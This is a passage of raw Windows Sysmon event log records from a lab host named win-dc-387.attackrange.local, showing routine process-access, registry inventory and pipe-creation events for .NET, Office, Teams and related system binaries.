14:44:43.393{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F5B-613B-2709-00000000F001}4964C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000043920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.377{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\mainbootstrap.ex|e0e8217a85996769\BinProductVersion1.0.0.0 13241300x800000000000000043919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.377{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\mainbootstrap.ex|e0e8217a85996769\LinkDate03/12/2099 03:28:12 13241300x800000000000000043918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.377{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\mainbootstrap.ex|e0e8217a85996769\Publisher(Empty) 13241300x800000000000000043917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.377{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\mainbootstrap.ex|e0e8217a85996769\LowerCaseLongPathc:\programdata\microsoft\defaultpackmsi\mainbootstrap.exe 13241300x800000000000000043916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.377{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplication\000039d7dda64d42d52d47a8c1ef2de554f100000904\PublisherMicrosoft 10341000x800000000000000043915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.362{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}4964C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.362{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{00000000-0000-0000-0000-000000000000}4964C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 17141700x800000000000000043913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 14:44:43.346{7BD73061-6F5A-613B-2009-00000000F001}7072\5EA58BF9-13F1-4F04-A152-CB928468DFFCC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\MicrosoftSearchInBing.exe 10341000x800000000000000043912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.331{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F5B-613B-2609-00000000F001}6608C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000043911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.331{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\teams.exe|5aad1169f41a3221\BinProductVersion1.4.0.2781 13241300x800000000000000043910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.331{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\teams.exe|5aad1169f41a3221\LinkDate08/28/2020 18:30:56 13241300x800000000000000043909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.331{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\teams.exe|5aad1169f41a3221\Publishermicrosoft corporation 13241300x800000000000000043908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.331{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\teams.exe|5aad1169f41a3221\LowerCaseLongPathc:\program files (x86)\teams installer\teams.exe 13241300x800000000000000043907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.331{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplication\0000cb28829990c7d559149c5e8213a5407200000904\PublisherMicrosoft Corporation 10341000x800000000000000043906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.299{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}6608C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.299{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{00000000-0000-0000-0000-000000000000}6608C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000043904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.299{7BD73061-65B0-613B-0A00-00000000F001}6124244C:\Windows\system32\services.exe{7BD73061-6F5A-613B-2009-00000000F001}7072C:\Program Files (x86)\Microsoft\Microsoft Search in Bing\MicrosoftSearchInBing.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\services.exe+1713f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000043903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.283{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplication\0000cf1b12c637e30aadd3be6afec771a6db00000904\PublisherMicrosoft Corporation 13241300x800000000000000043902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.283{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplication\00000cddd4f6c8457d2dbf627c52eea8535700000000\PublisherMicrosoft Corporation 10341000x800000000000000043901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.268{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F5B-613B-2509-00000000F001}5524C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.252{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}5524C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.252{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{00000000-0000-0000-0000-000000000000}5524C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000043898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\xlicons.exe|f1f83fd61f5a2af1\BinProductVersion16.0.13801.20840 13241300x800000000000000043897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\xlicons.exe|f1f83fd61f5a2af1\LinkDate07/29/2021 06:57:45 13241300x800000000000000043896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\xlicons.exe|f1f83fd61f5a2af1\Publishermicrosoft corporation 13241300x800000000000000043895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\xlicons.exe|f1f83fd61f5a2af1\LowerCaseLongPathc:\program files\microsoft office\root\vfs\windows\installer\{90160000-000f-0000-1000-0000000ff1ce}\xlicons.exe 13241300x800000000000000043894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\xlicons.exe|7d12eeff2e863364\BinProductVersion16.0.13231.20098 13241300x800000000000000043893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\xlicons.exe|7d12eeff2e863364\LinkDate09/08/2020 05:38:09 13241300x800000000000000043892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\xlicons.exe|7d12eeff2e863364\Publishermicrosoft corporation 13241300x800000000000000043891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\xlicons.exe|7d12eeff2e863364\LowerCaseLongPathc:\program files\microsoft office\root\office16\xlicons.exe 13241300x800000000000000043890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\wordicon.exe|78223a0fd1214c54\BinProductVersion16.0.13231.20098 13241300x800000000000000043889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\wordicon.exe|78223a0fd1214c54\LinkDate09/08/2020 05:38:16 13241300x800000000000000043888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\wordicon.exe|78223a0fd1214c54\Publishermicrosoft corporation 13241300x800000000000000043887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\wordicon.exe|78223a0fd1214c54\LowerCaseLongPathc:\program files\microsoft office\root\office16\wordicon.exe 13241300x800000000000000043886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\wordicon.exe|444cd0949335bdb3\BinProductVersion16.0.13801.20840 13241300x800000000000000043885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\wordicon.exe|444cd0949335bdb3\LinkDate07/29/2021 06:56:13 13241300x800000000000000043884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\wordicon.exe|444cd0949335bdb3\Publishermicrosoft corporation 13241300x800000000000000043883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\wordicon.exe|444cd0949335bdb3\LowerCaseLongPathc:\program files\microsoft office\root\vfs\windows\installer\{90160000-000f-0000-1000-0000000ff1ce}\wordicon.exe 13241300x800000000000000043882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\wordconv.exe|21b337580489bd1\BinProductVersion16.0.13801.20864 13241300x800000000000000043881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\wordconv.exe|21b337580489bd1\LinkDate08/05/2021 03:30:16 13241300x800000000000000043880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\wordconv.exe|21b337580489bd1\Publishermicrosoft corporation 13241300x800000000000000043879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\wordconv.exe|21b337580489bd1\LowerCaseLongPathc:\program files\microsoft office\root\office16\wordconv.exe 13241300x800000000000000043878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\winword.exe|13fbee5927c46013\BinProductVersion16.0.13801.20864 13241300x800000000000000043877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\winword.exe|13fbee5927c46013\LinkDate08/05/2021 03:30:52 13241300x800000000000000043876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\winword.exe|13fbee5927c46013\Publishermicrosoft corporation 13241300x800000000000000043875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\winword.exe|13fbee5927c46013\LowerCaseLongPathc:\program files\microsoft office\root\office16\winword.exe 13241300x800000000000000043874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\vpreview.exe|a4f4b801e1787737\BinProductVersion16.0.13801.20864 13241300x800000000000000043873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\vpreview.exe|a4f4b801e1787737\LinkDate08/05/2021 03:30:27 13241300x800000000000000043872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\vpreview.exe|a4f4b801e1787737\Publishermicrosoft corporation 13241300x800000000000000043871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.190{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\vpreview.exe|a4f4b801e1787737\LowerCaseLongPathc:\program files\microsoft office\root\office16\vpreview.exe 13241300x800000000000000043870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 